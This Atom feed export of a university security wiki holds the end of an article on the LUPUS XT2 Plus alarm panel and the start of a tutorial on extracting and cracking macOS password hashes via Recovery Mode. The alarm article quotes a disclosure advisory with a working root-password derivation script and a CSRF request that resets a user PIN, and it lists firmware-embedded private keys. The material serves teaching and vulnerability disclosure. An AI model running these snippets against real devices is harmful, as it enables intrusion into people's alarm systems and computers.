[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[INFO][NET ]max retry&lt;br /&gt;
[ERR!][NET ]http ssl send connect fail&lt;br /&gt;
[ERR!][WNET]GCM: ret=-99&lt;br /&gt;
[INFO][RPT ]url=&#039;gcm://0@APA91bGDleDckmX774Lr87-bPuoVu-jJerUQ1HPDCqU0DZj71gL3OZwJzI_YgOV3CP6vb_A99KLdjV_885mN6y4CW7qzijZyo8BBo4HRq4twW7yGj7LNATFRtriYq3-QcMbArxhWUDTZ/TEXT&#039;, ret=-702, reason=&#039;{LOG_MS&lt;br /&gt;
[INFO][RPT ]reporting end&lt;br /&gt;
[INFO][RPT ]reporting start&lt;br /&gt;
[DBG ][RPT ]retry #0&lt;br /&gt;
[DBG ][RPT ]filter ignore:&#039;apns://0@9420d57ba5cdac9ec8a9c95714ad5d5b26eedd5147beb12f78d1f47c0d5b9e03/TEXT&#039;&lt;br /&gt;
[DBG ][RPT ]filter ignore:&#039;gcm://0@APA91bEsVXbFspyyBj6wJHzT7xAjifb-sQqu5eR3nStDFgHtLClVb3ZtHKhg2gWvpDtO3O4ib2u4oUxBF_3Cn0SmuomU4GO_6OwDoo7cf483PVCVeT_OAuhg563i1jD5S2sfkd1dWhf7/TEXT&#039;&lt;br /&gt;
[DBG ][RPT ]filter ignore:&#039;gcm://0@APA91bGDleDckmX774Lr87-bPuoVu-jJerUQ1HPDCqU0DZj71gL3OZwJzI_YgOV3CP6vb_A99KLdjV_885mN6y4CW7qzijZyo8BBo4HRq4twW7yGj7LNATFRtriYq3-QcMbArxhWUDTZ/TEXT&#039;&lt;br /&gt;
[INFO][RPT ]reporting end&lt;br /&gt;
[INFO][ALRM]report ok: id=6525&lt;br /&gt;
[INFO][ALRM]report ok: id=6526&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][ALRM]HA regular check time: now=1970/1/1 1:16:0&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Zigbee&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The board offers a provided interface to update the ZB component. This is marked with the label &amp;quot;ZB-UPDATE&amp;quot;. These 6 consecutive holes can be found on the front view of the PCB at the bottom left. The actual ZB module is located on the back. This is a [[http://climax.com.tw/zbh-sa.php|ZBH-SA]] v1.1 module from Climax, built together with Texas Instruments&#039; CC530 wireless SoC and CC2592 range extender as the core. The module is distributed under the FCC ID [[https://fccid.io/GX9ZBH-SA|GX9ZBH-SA]] and a number of documents, such as user manuals and internal photos, can be viewed at [[https://fccid.io/GX9ZBH-SA|FCC]].&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
TODO: Photo&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The module has a &amp;quot;Winbond 25Q16DVSIG&amp;quot; serial flash memory chip with SPI in package type SOP8. This type of chip can be used without soldering with a corresponding SOP8 clip (TODO: Link) which is connected to the external leads and read by a suitable programmer (TODO: Link) to get the current firmware.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;MCU&amp;lt;/h3&amp;gt;&lt;br /&gt;
There is another processor located at the bottom right of the PCB front view. This chips is a Megawin &amp;quot;MPC89L515AF&amp;quot; Microcontroller, 8-Bit, FLASH, 8051 CPU, 45MHz, CMOS and PQFP44 package.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Firmware&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Download&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;h5&amp;gt;Current Version&amp;lt;/h5&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT1 Plus Main Panel&amp;lt;/u&amp;gt;: https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUS-XT1-Plus-Starter-Kit-p.html#Downloads&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT2 Main Panel&amp;lt;/u&amp;gt;: https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUS-XT2-Plus-Main-Panel-p.html#Downloads&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT2 Plus Main Panel&amp;lt;/u&amp;gt;: https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUS-XT2-Plus-Main-Panel-p.html#Downloads&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT3 Main Panel&amp;lt;/u&amp;gt;: https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUSEC-XT3-Main-Panel-p.html#Downloads&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Vendor&#039;s Note&amp;lt;/b&amp;gt;: Please always delete your browsers cache after installation.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h5&amp;gt;Known Versions&amp;lt;/h5&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT1 Plus Main Panel&amp;lt;/u&amp;gt;:&lt;br /&gt;
* v0.0.3.2B: https://www.lupus-electronics.de/shop/documents/XT1Plus_lu-0.0.3.2B.zip (Accessed 29. Febuary 2020)&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT2 Main Panel&amp;lt;/u&amp;gt;:&lt;br /&gt;
* v0.0.3.2B: https://www.lupus-electronics.de/shop/documents/XT2_lu-0.0.3.2B.zip (Accessed 29. Febuary 2020)&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT2 Plus Main Panel&amp;lt;/u&amp;gt;:&lt;br /&gt;
* v0.0.3.2B: https://www.lupus-electronics.de/shop/documents/XT2Plus_lu-0.0.3.2B.zip (Accessed 29. Febuary 2020)&lt;br /&gt;
* v0.0.2.19E: No download available.&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT3 Main Panel&amp;lt;/u&amp;gt;:&lt;br /&gt;
* v0.1.3.2B: https://www.lupus-electronics.de/shop/documents/XT3_lu-0.1.3.2B.zip (Accessed 29. Febuary 2020)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Extraction&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Smart Home Alarm Panel&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
$ binwalk -Mre  --dd=&amp;quot;.*&amp;quot; hpgw.bin&lt;br /&gt;
&lt;br /&gt;
MD5 Checksum:  badf860594c668b937bff2559ef79313&lt;br /&gt;
Signatures:    391&lt;br /&gt;
&lt;br /&gt;
DECIMAL       HEXADECIMAL     DESCRIPTION&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
1279234       0x138502        Unix path: /sys/bus/usb/devices&lt;br /&gt;
1279309       0x13854D        Unix path: /sys/bus/usb/devices/1-1:1.0/uevent&lt;br /&gt;
1290407       0x13B0A7        Ubiquiti firmware header, third party, ~CRC32: 0x61626C65, version: &amp;quot;_PIPE_FAIL&amp;quot;&lt;br /&gt;
1301308       0x13DB3C        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1302108       0x13DE5C        Unix path: /sys/bus/usb/devices/usb1/authorized&lt;br /&gt;
1316976       0x141870        Neighborly text, &amp;quot;neighbor_zr&amp;quot;&lt;br /&gt;
1317004       0x14188C        Neighborly text, &amp;quot;NeighborRouter_%sSignal&amp;quot;&lt;br /&gt;
1322284       0x142D2C        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1322432       0x142DC0        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1336546       0x1464E2        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1336826       0x1465FA        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1337334       0x1467F6        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1343521       0x148021        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1349090       0x1495E2        Unix path: /etc/ppp/pap-secrets&lt;br /&gt;
1350445       0x149B2D        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1351752       0x14A048        Base64 standard index table&lt;br /&gt;
1351832       0x14A098        Base64 standard index table&lt;br /&gt;
1363367       0x14CDA7        Neighborly text, &amp;quot;neighbor_zr&amp;quot;: &amp;quot;%s&amp;quot;, %s&amp;quot;, &amp;quot;&lt;br /&gt;
1363495       0x14CE27        Neighborly text, &amp;quot;neighbor_zr&amp;quot;: &amp;quot;%s&amp;quot;}g_st&amp;quot;: %d&amp;quot;&lt;br /&gt;
1389083       0x15321B        HTML document header&lt;br /&gt;
1390640       0x153830        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1391103       0x1539FF        Unix path: /usr/share/udhcpc&lt;br /&gt;
1408086       0x157C56        PEM certificate&lt;br /&gt;
1409330       0x158132        PEM certificate&lt;br /&gt;
1410214       0x1584A6        PEM EC private key&lt;br /&gt;
1410594       0x158622        PEM certificate&lt;br /&gt;
1411410       0x158952        PEM EC private key&lt;br /&gt;
1411646       0x158A3E        PEM certificate&lt;br /&gt;
1412478       0x158D7E        PEM EC private key&lt;br /&gt;
1412742       0x158E86        PEM certificate&lt;br /&gt;
1414050       0x1593A2        PEM RSA private key&lt;br /&gt;
1415850       0x159AAA        PEM certificate&lt;br /&gt;
1417050       0x159F5A        PEM RSA private key&lt;br /&gt;
1418758       0x15A606        PEM certificate&lt;br /&gt;
1419970       0x15AAC2        PEM RSA private key&lt;br /&gt;
1421706       0x15B18A        PEM certificate&lt;br /&gt;
1423012       0x15B6A4        PEM certificate&lt;br /&gt;
1445661       0x160F1D        PEM RSA private key&lt;br /&gt;
1445725       0x160F5D        PEM EC private key&lt;br /&gt;
1448201       0x161909        SHA256 hash constants, little endian&lt;br /&gt;
1450717       0x1622DD        Base64 standard index table&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Vulnerability Reports&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;CVE1&amp;quot; class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.0;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Title&amp;lt;/b&amp;gt;: Various vulnerabilities in Lupusec XT2 Plus home alarm system&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;From&amp;lt;/b&amp;gt;: Dan Fabian &amp;lt;dan.fabian@gmail com&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Date&amp;lt;/b&amp;gt;: Thu, 4 Apr 2019 09:20:46 +0200&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
=======================================================================&lt;br /&gt;
              title: Multiple Vulnerabilities&lt;br /&gt;
            product: Lupusec XT2 Plus Main Panel&lt;br /&gt;
            version: Firmware 0.0.2.19E&lt;br /&gt;
           homepage: https://www.lupus-electronics.de/&lt;br /&gt;
              found: 01/2019&lt;br /&gt;
                 by: D. Fabian&lt;br /&gt;
=======================================================================&lt;br /&gt;
&lt;br /&gt;
Vendor description:&lt;br /&gt;
-------------------&lt;br /&gt;
&amp;quot;The new LUPUSEC-XT2 Plus is an innovative burglar alarm, smart home,&lt;br /&gt;
and video surveillance system that is reliable, easy to use, and&lt;br /&gt;
extremely versatile. It is the operating system for your building.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Source:&lt;br /&gt;
https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUSEC-XT2-Plus-Main-Panel-p.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerability description:&lt;br /&gt;
-----------------------------------&lt;br /&gt;
1) Shared SSL certificate&lt;br /&gt;
All devices share the same SSL key. Anyone who is capable of&lt;br /&gt;
downloading the firmware off the internet can perform a MITM attack.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2) Root password derived from MAC address&lt;br /&gt;
While the root password is unique per device, it is derived from the&lt;br /&gt;
MAC address and can be fairly easily calculated off a hard-coded&lt;br /&gt;
secret. The panel runs a telnet server on port 55023, where the&lt;br /&gt;
calculated root password works. Additionally&lt;br /&gt;
https://alarm/action/welcomeGet discloses the MAC address without&lt;br /&gt;
authentication over the web interface. In combination, all of this is&lt;br /&gt;
sufficient to authenticate as root to any XT2 device exposed directly&lt;br /&gt;
on the internet.&lt;br /&gt;
&lt;br /&gt;
The below small Python script returns the root password for the given&lt;br /&gt;
MAC address.&lt;br /&gt;
&lt;br /&gt;
import hashlib&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
mac = &amp;quot;001122aabbcc&amp;quot; # MAC address without colons in all lowercase&lt;br /&gt;
x = &amp;quot;7jBhPZVbCJMrS9qg6KtxzHR5T2dk3NmvQ4WDywFsYpXnc8Gf&amp;quot;&lt;br /&gt;
y = &amp;quot;5156&amp;quot; + mac + &amp;quot;2759&amp;quot;&lt;br /&gt;
digest = hashlib.sha256()&lt;br /&gt;
digest.update(y)&lt;br /&gt;
z = digest.digest()&lt;br /&gt;
sys.stdout.write(x[ord(z[5]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[7]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[28]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[6]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[24]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[15]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[13]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[16]) % len(x)])&lt;br /&gt;
&lt;br /&gt;
sys.stdout.flush()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3) Configuration including passwords downloadable without authentication&lt;br /&gt;
If the configuration of the device has been exported since the&lt;br /&gt;
previous reboot, it can be downloaded without authentication via&lt;br /&gt;
https://alarm/temp/config.tar.gz. The configuration contains PINs,&lt;br /&gt;
user passwords, and all other configuration settings. Passwords and&lt;br /&gt;
PINs are &amp;quot;encrypted&amp;quot; using a simple substitution cipher.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4) XML API vulnerable to CSRF&lt;br /&gt;
The XML API accepts requests via both GET and POST, and does not&lt;br /&gt;
require CSRF tokens. E.g. the following request sets the PIN of user 5&lt;br /&gt;
to 4444. The MAC address is publicly disclosed via the web interface&lt;br /&gt;
per issue #2.&lt;br /&gt;
&lt;br /&gt;
https://alarm/action/xmlCmd?strXML=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%0A%3Cp%3E%0A++%3Cmac+v%3D%2200%3A11%3A22%3A33%3A44%3A44%22%2F%3E%0A++%3Ccmds%3E%0A%3Ccmd+a%3D%22setUser%22%3E%0A%3Carea+v%3D%221%22%2F%3E%0A%3Cno+v%3D%225%22%2F%3E%0A%3Ccode+v%3D%224444%22%2F%3E%0A%3Cname+v%3D%22test%22%2F%3E%0A%3Clatch+v%3D%220%22%2F%3E%0A%3C%2Fcmd%3E%0A++%3C%2Fcmds%3E%0A%3C%2Fp%3E&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vendor contact timeline:&lt;br /&gt;
------------------------&lt;br /&gt;
2019-01-09: Contacted the vendor&lt;br /&gt;
2019-01-09: Vendor reply saying that the issues are known and should be fixed&lt;br /&gt;
            in the new firmware release.&lt;br /&gt;
2019-03-26: Vendor reply saying the new firmware was released&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Solution:&lt;br /&gt;
---------&lt;br /&gt;
Per the vendor’s recommendation, update the firmware to version v0.0.3.0.&lt;br /&gt;
&lt;br /&gt;
Note that I didn’t verify whether the issues are indeed resolved in&lt;br /&gt;
the new version. Either way it’s probably a good idea to only expose&lt;br /&gt;
the device through a VPN.&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Used Hardware&amp;lt;/h1&amp;gt;&lt;br /&gt;
* [[LUPUS - XT2 Plus Main Panel]]&lt;br /&gt;
* [[LUPUSEC - Outdoor siren V2]]&lt;br /&gt;
* [[LUPUSEC - Remote Control]]&lt;br /&gt;
* [[LUPUSEC - Door Contact V1 (EOL)]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;References&amp;lt;/h1&amp;gt;&lt;br /&gt;
* https://www.lupus-electronics.de/ (Accessed 25. Febuary 2020)&lt;br /&gt;
* https://www.lupus-electronics.de/en/smart-home/ (Accessed 27. Febuary 2020)&lt;br /&gt;
* https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUS-XT1-Plus-Starter-Kit-p.html (Accessed 1. March 2020)&lt;br /&gt;
* https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUS-XT2-Plus-Main-Panel-p.html (Accessed 25. Febuary 2020)&lt;br /&gt;
* https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUSEC-XT3-Main-Panel-p.html (Accessed 1. March 2020)&lt;br /&gt;
* https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Sirens/LUPUSEC-Outdoor-siren-V2-p.html (Accessed 1. March 2020)&lt;br /&gt;
* https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Classic-XT1-Sensoren/LUPUSEC-Remote-control-p.html (Accessed 1. March 2020)&lt;br /&gt;
* https://seclists.org/bugtraq/2019/Apr/7 (Accessed 25. Febuary 2020)&lt;br /&gt;
* https://www.lupus-electronics.de/en/service/eol-product-downloads/ (Accessed 25. Febuary 2020)&lt;br /&gt;
* https://www.av-test.org/en/ (Accessed 27. Febuary 2020)&lt;br /&gt;
* http://www.climax.com.tw/ (Accessed 29. Febuary 2020)&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Acquisition_and_Cracking_of_macOS_User_Passwords&amp;diff=4562</id>
		<title>Acquisition and Cracking of macOS User Passwords</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Acquisition_and_Cracking_of_macOS_User_Passwords&amp;diff=4562"/>
		<updated>2020-10-01T00:19:47Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Minor: Fixed the malformed example hash&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Summary&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;i&amp;gt;Password cracking&amp;lt;/i&amp;gt; or the more general expression of &amp;lt;i&amp;gt;Key recovery&amp;lt;/i&amp;gt; describes the process that is used to &amp;lt;i&amp;gt;find a key&amp;lt;/i&amp;gt; to a known digital identity and is usually associated with high computing power requirements in order to succeed in a realistic amount of time. When searching for password cracking online, the first example is probably brute-forcing the hashes contained in the passwd/shadow file of a GNU/Linux or BSD distribution, in order to compromise its root user. This article describes how macOS, as a BSD descendant, stores the passwords for local authentication and how this can be exploited to gain unauthorized access to the device. Despite its relationship to BSD and GNU/Linux, macOS likes to implement its own unique features that differ from the norm in the UNIX-like realm. This tutorial was designed as a practical extension of the seminar paper [[:File: Password_Cracking-Software_and_Hardware_Comparison-ITTK20-WS19.pdf|Password Cracking: Software and Hardware Comparison]].&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Roadmap&amp;lt;/b&amp;gt;: Get access to a Privileged Shell via Recovery Mode → Extract Password Hashes → Crack Password Hashes&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Introduction&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;macOS is a very popular OS from Apple, which was introduced in 2001 and is nowadays mainly found in MacBooks, but also in desktop systems like the iMac or the Mac Pro. On unattended devices, password hashes can be extracted in a short time and cracked without the target person noticing. Similar to cracking a GNU/Linux password, access to a privileged shell must be given in order to extract the corresponding property lists (.plist) to crack contained password hashes, which can be done booting into macOS Recovery Mode (RM) partition. This method works on any Mac without [https://support.apple.com/en-gb/HT204455 firmware password] (EFI/Bootloader) or Apple&#039;s [https://support.apple.com/en-us/HT204837 FileVault] Full-Disk Encryption (FDE) using XTS-AES-128 cipher. A firmware password prevents starting up from any internal or external storage device other than the startup disk you&#039;ve selected. And when using FDE, access to a shell can still be gained using RM, but the main partition cannot be mounted without a passphrase, so the stored passwords are safe. For now.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;:Apple&#039;s recent OS for Intel-based computers has been renamed from Mac OS X to macOS with version 10.12 (Sierra). Apple&#039;s former OS, introduced in 1984 and based on PowerPC (Motorola 68k) hardware, is nowadays referred to as &amp;quot;classic&amp;quot; Mac OS&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;:Interested people can find everything needed to build a &amp;quot;Hackintosh&amp;quot; and get macOS running on (cheaper) unsupported Intel-based hardware at [https://hackintosh.com/ Hackintosh].&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Requirements&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;h2&amp;gt;Attacker&amp;lt;/h2&amp;gt;&lt;br /&gt;
* macOS &amp;gt;= 10.8: Mountain Lion (2012 Q2) (In order to use &amp;lt;i&amp;gt;plutil&amp;lt;/i&amp;gt;)&lt;br /&gt;
* Any CPU, GPU, DSP, FPGA, etc., that comes with an [https://www.khronos.org/opencl/ OpenCL runtime].&lt;br /&gt;
* Software: [https://hashcat.net/hashcat/ Hashcat] or [https://www.openwall.com/john/ John the Ripper], [https://www.python.org/ Python], [https://raw.githubusercontent.com/tokyoneon/hashdump.py/master/hashdump.py hashdump.py]&lt;br /&gt;
* External Storage Device (Flash drive, TF/SD Card, SSD/HDD) (APFS, FAT32, NTFS)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Target&amp;lt;/h2&amp;gt;&lt;br /&gt;
* {i}Mac{Book} {Pro} or [https://hackintosh.com/ Hackintosh]&lt;br /&gt;
* macOS &amp;gt;= 10.11: El Capitan (2015 Q3) (Latest macOS 10.15.2: Catalina (2019 Q4))&lt;br /&gt;
* Test user. Here: {username: &amp;quot;admin&amp;quot;, password: &amp;quot;password&amp;quot;}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Background&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;h2&amp;gt;Recovery Mode&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Mac devices support multiple [https://support.apple.com/en-us/HT201255 startup modes], which allow access to features and tools by holding down one or more keys during startup. Pressing Command (⌘)-R allows entering the recovery mode when the Mac is booting up. macOS Recovery is part of Apple&#039;s integrated recovery system and provides utilities for recovering Time Machine backups, reinstalling macOS, managing disks. Additionally, it also provides access to a local shell. Although this feature was designed to help users, it is often misused by hackers who try to gain unauthorized access to sensitive files.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Property Lists&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Property list files (.plist) are files that store serialized dictionary objects and are used to store a user&#039;s settings and hashed passwords. Apple&#039;s open-source implementation of property lists format stores XML or JSON in binary form, and the &amp;lt;code&amp;gt;plutil&amp;lt;/code&amp;gt; utility can be used to check the syntax of property lists, or convert a property list file from one format to another. Since macOS 10.14 (Mojave), not even root is allowed to modify the .plist files containing hashed passwords anymore while the operating system is running. This data can now only be acquired using recovery mode.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;System Integrity Protection&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;System Integrity Protection (SIP) is a security technology in Mac OS X 10.11 (El Capitan) and later, which has been designed to help prevent potentially malicious software from modifying protected files and folders. SIP restricts the root user account and limits the actions that it can perform on protected parts of macOS. Before SIP, the root user had no permission restrictions, so it could access any system folder or app. Software obtained root-level access when entering the administrator name and password to install the software. That allowed the software to modify or overwrite any system file or app. Paths that third-party apps and installers are allowed to write to include: &amp;lt;code&amp;gt;/Applications&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/Library&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/usr/local&amp;lt;/code&amp;gt; but not &amp;lt;code&amp;gt;/System&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/bin&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/sbin&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;.&amp;lt;sup&amp;gt;[https://support.apple.com/en-us/HT204899]&amp;lt;/sup&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Procedure&amp;lt;/h1&amp;gt;&lt;br /&gt;
[[File:Macos-catalina-recovery-mode-terminal.png|200px|right|thumb|macOS - Recovery Mode - Terminal]]&lt;br /&gt;
&amp;lt;h2&amp;gt;Get access to a Privileged Shell&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;To get access to a local shell, the target device must be booted into recovery mode (RM) using Command (⌘)-R on startup. The key combination must be pressed until the Apple logo or another [https://support.apple.com/en-gb/HT204156 Startup Screen] appears and can then be released. The startup process is completed when the macOS Utilities window is displayed. From there, a root terminal session can now be started.&amp;lt;/p&amp;gt;&lt;br /&gt;
